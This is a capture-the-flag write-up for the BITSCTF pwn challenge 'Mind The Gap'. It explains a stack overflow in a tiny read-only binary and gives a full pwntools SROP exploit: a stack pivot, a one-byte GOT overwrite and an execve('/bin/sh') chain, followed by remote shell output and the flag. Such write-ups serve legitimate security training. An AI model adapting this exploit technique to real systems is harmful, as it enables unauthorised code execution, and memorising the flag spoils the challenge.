Mind The Gap - PWN
Points: 496 | Flag: BITSCTF{ac82445fd78d086371ff7ab58e9a83b4} | Solved by: Smothy @ 0xN1umb
what we got
binary called mind_the_gap + libc 2.42 + loader. challenge description talks about "vast voids between sectors" and "mind the gap". spooky.
$ checksec mind_the_gap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fa000)
SHSTK: Enabled
IBT: Enabled
no canary, no PIE, partial RELRO. NX on tho so no shellcode. ok lets see what we're working with.
the binary
opened it in IDA and ngl i laughed. the entire .text section is like 0x115 bytes. main is literally:
main:
push rbp
mov rbp, rsp
sub rsp, 100h ; 0x100 byte buffer
lea rax, [rbp-100h]
mov edx, 200h ; reads 0x200 bytes
mov rsi, rax
mov edi, 0
call read@plt ; read(0, buf, 0x200) - OVERFLOW
mov eax, 0
leave
retthats it. thats the whole program. read(0, buf, 0x200) with a 0x100 buffer = 0x100 bytes of overflow. classic bof.
but here's the twist - the only import is read. no write, no puts, no printf. zero output functions. so we can't leak anything. and the memory layout is WILD:
0x3fa000 - ELF headers/interp (RW)
0x3fc000 - dynsym/dynstr (RW)
0x3fe000 - .dynamic (RW)
0x400000 - version info (R)
0x600000 - .text (RE) <-- code lives here
0x800000 - .rodata (R)
0xbff000 - GOT/data/bss (RW)
massive gaps between every segment. "mind the gap" indeed lmao
the solve
ok so: no leak, no output, only read. what can we even do?
SROP (Sigreturn-Oriented Programming). the galaxy brain move.
the plan
- overflow -> stack pivot to writable memory (0xc00xxx page)
- chain reads to set up a SigreturnFrame in memory
- partial GOT overwrite: change
read->syscall(1 byte!) - trigger
rt_sigreturn->execve("/bin/sh", 0, 0)
key gadgets
the binary is tiny but we got everything we need:
0x600145 - lea rax,[rbp-0x100]; mov edx,0x200; mov rsi,rax; mov edi,0; call read@plt
(this is main's read setup - our swiss army knife)
0x600040 - read@plt: endbr64; jmp [0xc00000]
0xc00000 - GOT[read] (writable! outside RELRO range)
the main gadget at 0x600145 is everything. by controlling rbp, we control:
- WHERE it reads (rsi = rbp - 0x100)
- AND rax gets set to rbp - 0x100 (useful for syscall number!)
step 1: stack pivot
overflow the buffer, set saved_rbp to 0xc00200, return to 0x600145:
stage1 = b'A' * 0x100 # fill buffer
stage1 += p64(0xc00200) # saved RBP -> writable area
stage1 += p64(0x600145) # ret -> main's read gadgetnow main reads to rbp-0x100 = 0xc00100. we pivoted to the writable page. ez.
step 2: write SROP payload
send the SigreturnFrame + chain to 0xc00100:
# After this read, leave;ret uses [0xc00200] as rbp and [0xc00208] as ret
stage2 = p64(0x10F) # 0xc00100: rbp for SROP trigger later
stage2 += p64(0x600145) # 0xc00108: ret for SROP trigger
stage2 += frame_bytes[8:] # 0xc00110: SigreturnFrame (240 bytes)
stage2 += p64(0xc00100) # 0xc00200: rbp for GOT overwrite step
stage2 += p64(0x600145) # 0xc00208: ret for GOT overwrite stepthe frame has everything for execve:
rax = 59(execve)rdi = 0xc00130(pointer to "/bin/sh" stored in the frame's r8 slot - sneaky!)rsi = 0, rdx = 0rip = read@plt(which will jmp to syscall after GOT overwrite)csgsfs = 0x002b000000000033(cs=0x33, ss=0x2b - this was crucial)
step 3: partial GOT overwrite
the chain returns to the main gadget with rbp=0xc00100, which reads to 0xc00000 - that's the GOT! we send exactly 1 byte:
p.send(b'\x8f')libc's read is at offset 0x11ba80. the syscall instruction inside it is at 0x11ba8f. since ASLR only randomizes at page granularity, the last byte is always 0x80. we change it to 0x8f. 100% reliable, no bruteforce needed.
step 4: SROP trigger
after the GOT overwrite, leave;ret goes to our setup:
rbp = 0x10F(from [0xc00100])rip = 0x600145(from [0xc00108])
at the main gadget: lea rax, [0x10F - 0x100] = rax = 0xF = 15 = SYS_rt_sigreturn
then call read@plt -> jmp [GOT] -> hits the syscall instruction with rax=15 -> rt_sigreturn!
kernel reads our SigreturnFrame, restores all registers, jumps to rip=read@plt -> syscall again, this time with rax=59 -> execve("/bin/sh", NULL, NULL)
the gotcha
ngl this took a minute to debug. the exploit kept SIGSEGV'ing after sigreturn. strace showed rt_sigreturn = 59 then crash. turns out the ss (stack segment) register was 0x0 instead of 0x2b. pwntools packs cs/gs/fs/ss into one field called csgsfs:
# the fix that made everything work
frame['csgsfs'] = 0x002b000000000033 # cs=0x33, ss=0x2b
frame['eflags'] = 0x202 # IF flagwithout proper segment registers the kernel just yeets your process lol
full exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
def start():
if args.REMOTE:
return remote(args.HOST or "chals.bitskrieg.in", int(args.PORT or 1337))
return process('./mind_the_gap')
MAIN_LEA = 0x600145
READ_PLT = 0x600040
BINSH_ADDR = 0xc00130 # r8 slot in the SigreturnFrame
frame = SigreturnFrame()
frame.r8 = u64(b'/bin/sh\x00') # store string in the frame itself
frame.rax = constants.SYS_execve # 59
frame.rdi = BINSH_ADDR
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0xc00500
frame.rip = READ_PLT
frame['csgsfs'] = 0x002b000000000033
frame['eflags'] = 0x202
fb = bytes(frame)
p = start()
# Stage 1: overflow -> pivot to writable page
stage1 = b'A' * 0x100 + p64(0xc00200) + p64(MAIN_LEA)
stage1 = stage1.ljust(0x200, b'\x00')
p.send(stage1); sleep(0.3)
# Stage 2: SROP frame + chain
stage2 = p64(0x10F) + p64(MAIN_LEA) + fb[8:]
stage2 += p64(0xc00100) + p64(MAIN_LEA)
stage2 = stage2.ljust(0x200, b'\x00')
p.send(stage2); sleep(0.3)
# Stage 3: partial GOT overwrite (read -> syscall)
p.send(b'\x8f'); sleep(0.5)
# shell!
p.interactive()$ python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=41627
[+] Opening connection to chals.bitskrieg.in on port 41627: Done
$ id
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
$ cat /flag*
BITSCTF{ac82445fd78d086371ff7ab58e9a83b4}
flag
BITSCTF{ac82445fd78d086371ff7ab58e9a83b4}
tldr
tiny binary, only read, huge memory gaps. SROP with partial GOT overwrite (1 byte, 100% reliable). the csgsfs segment register thing almost made me lose my mind fr. classic "simple binary, hard exploitation" challenge. loved it.
smothy out ✌️